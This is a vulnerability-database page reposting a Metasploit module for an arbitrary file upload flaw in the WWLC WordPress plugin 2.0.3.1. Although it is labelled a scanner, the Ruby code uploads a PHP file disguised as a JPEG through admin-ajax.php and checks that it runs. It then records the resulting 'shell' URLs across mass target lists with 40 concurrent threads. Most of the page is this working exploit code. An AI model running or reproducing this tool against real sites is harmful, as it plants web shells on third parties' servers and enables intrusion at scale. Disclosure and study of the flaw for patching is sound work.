Lucene search
K

📄 WordPress WWLC 2.0.3.1 File Upload Metasploit Scanner

🗓️ 16 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 148 Views

Metasploit auxiliary scans WordPress for a plugin vulnerability related to arbitrary file upload and verifies the upload.

Code
=============================================================================================================================================
    | # Title     : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Vulnerability Scanner                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://woocommerce.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module scans WordPress websites for an arbitrary file upload vulnerability in the WWLC plugin. The module attempts to upload a 
                     crafted PHP file through the vulnerable AJAX endpoint (admin-ajax.php) using the wwlc_file_upload_handler action. 
    				 If the upload is successful, the module verifies the uploaded file by sending a request to the generated file path in the WordPress uploads directory. 
    				 The scanner supports multi-threaded scanning, retry mechanisms, 
    				 and the ability to load target websites from a file for large-scale assessments. 
                     Successful findings are logged locally and reported to the Metasploit database for further analysis.
    			  
    [+] POC   : 
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'json'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WWLC File Upload Vulnerability Scanner',
            'Description' => %q{
              This module scans for WordPress WWLC plugin arbitrary file upload vulnerability.
              It attempts to upload a PHP file and verify successful upload.
            },
            'Author' => [ 'indoushka' ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://example.com/wwlc-vulnerability' ]
            ],
            'DisclosureDate' => '2026-03-13'
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
            OptPath.new('PAYLOAD_FILE', [true, 'PHP file to upload', '/path/to/404_protected.php']),
            OptInt.new('THREADS', [true, 'Number of threads', 40]),
            OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10]),
            OptInt.new('RETRIES', [true, 'Number of retries', 6]),
            OptString.new('SITES_FILE', [false, 'File containing list of sites', 'kll.txt'])
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('ALLOWED_FILE_TYPES', [true, 'Allowed file types', 'php,png,jpg']),
            OptInt.new('MAX_FILE_SIZE', [true, 'Max allowed file size', 5000000])
          ]
        )
      end
    
      def setup
        @vuln_file = 'vuln.txt'
        @bpvuln_file = 'exploited.txt'
    
        [@bpvuln_file, @vuln_file].each do |f|
          File.delete(f) if File.exist?(f)
        end
    
        if datastore['SITES_FILE'] && File.exist?(datastore['SITES_FILE'])
          @sites_from_file = File.read(datastore['SITES_FILE']).split("\n").map(&:strip).reject(&:empty?)
        else
          @sites_from_file = []
        end
      end
    
      def run_host(ip)
        site = full_uri
        check_vulnerability(site)
      end
    
      def run
        if !@sites_from_file.empty?
          print_status("Loaded #{@sites_from_file.size} sites from file")
          scan_from_file
        else
          print_status("Starting scan...")
          super
        end
      end
    
      def scan_from_file
        threads = []
        queue = Queue.new
    
        @sites_from_file.each { |site| queue << site }
    
        thread_count = [datastore['THREADS'], queue.size].min
        thread_count = 1 if thread_count < 1
    
        thread_count.times do
          threads << framework.threads.spawn("Module(#{refname})", false) do
            until queue.empty?
              site = queue.pop rescue nil
              check_vulnerability(site) if site
            end
          end
        end
    
        threads.each(&:join)
      end
    
      def normalize_site(site)
        site = site.strip
        unless site.start_with?('http://', 'https://')
          site = "http://#{site}"
        end
        site.chomp('/')
      end
    
      def check_vulnerability(site)
        site = normalize_site(site)
        print_status("Testing: #{site}")
    
        retries = 0
    
        while retries < datastore['RETRIES']
          begin
            parsed = URI.parse(site)
    
            base = "#{parsed.scheme}://#{parsed.host}"
            base += ":#{parsed.port}" unless [80,443].include?(parsed.port)
    
            base_path = parsed.path.empty? ? '/' : parsed.path
    
            ajax_url = normalize_uri(base_path, 'wp-admin', 'admin-ajax.php')
            uploads_dir = normalize_uri(base_path, 'wp-content', 'uploads')
    
            unless File.exist?(datastore['PAYLOAD_FILE'])
              print_error("Payload file not found: #{datastore['PAYLOAD_FILE']}")
              return
            end
    
            file_data = File.read(datastore['PAYLOAD_FILE'])
    
            file_settings = {
              'allowed_file_types' => datastore['ALLOWED_FILE_TYPES'].split(','),
              'max_allowed_file_size' => datastore['MAX_FILE_SIZE']
            }
    
            multipart_form = Rex::MIME::Message.new
            multipart_form.add_part('wwlc_file_upload_handler', nil, nil, 'form-data; name="action"')
            multipart_form.add_part(JSON.generate(file_settings), 'application/json', nil, 'form-data; name="file_settings"')
            multipart_form.add_part(file_data, 'image/jpeg', nil, 'form-data; name="uploaded_file"; filename="404.php.jpg"')
    
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => ajax_url,
              'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
              'data' => multipart_form.to_s,
              'headers' => {
                'Accept' => 'application/json, text/javascript, */*; q=0.01'
              }
            }, datastore['TIMEOUT'])
    
            if res && res.code == 200
              begin
                data = JSON.parse(res.body)
    
                if data['status'] == 'success' && data['file_name']
                  filename = data['file_name']
                  shell_path = normalize_uri(uploads_dir, filename)
    
                  verify_res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => shell_path
                  }, datastore['TIMEOUT'])
    
                  if verify_res && verify_res.code == 200
                    shell_url = "#{base}#{shell_path}"
    
                    print_good("#{site} -> #{shell_url}")
    
                    File.open(@bpvuln_file, 'a') { |f| f.puts(shell_url) }
                    File.open(@vuln_file, 'a') { |f| f.puts("#{base}#{uploads_dir}") }
    
                    report_vuln(
                      host: parsed.host,
                      port: parsed.port,
                      name: name,
                      refs: references,
                      info: "Uploaded shell: #{shell_url}"
                    )
    
                    return
                  end
                end
              rescue JSON::ParserError
              end
            end
    
            print_status("Failed: #{site}")
            break
    
          rescue ::Rex::ConnectionError, ::Rex::TimeoutError
            retries += 1
            if retries < datastore['RETRIES']
              print_status("Retry #{retries}/#{datastore['RETRIES']} for #{site}")
              sleep(1)
            else
              print_error("Failed after retries: #{site}")
            end
          rescue => e
            print_error("Error: #{site} - #{e.message}")
            break
          end
        end
      end
    end
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
148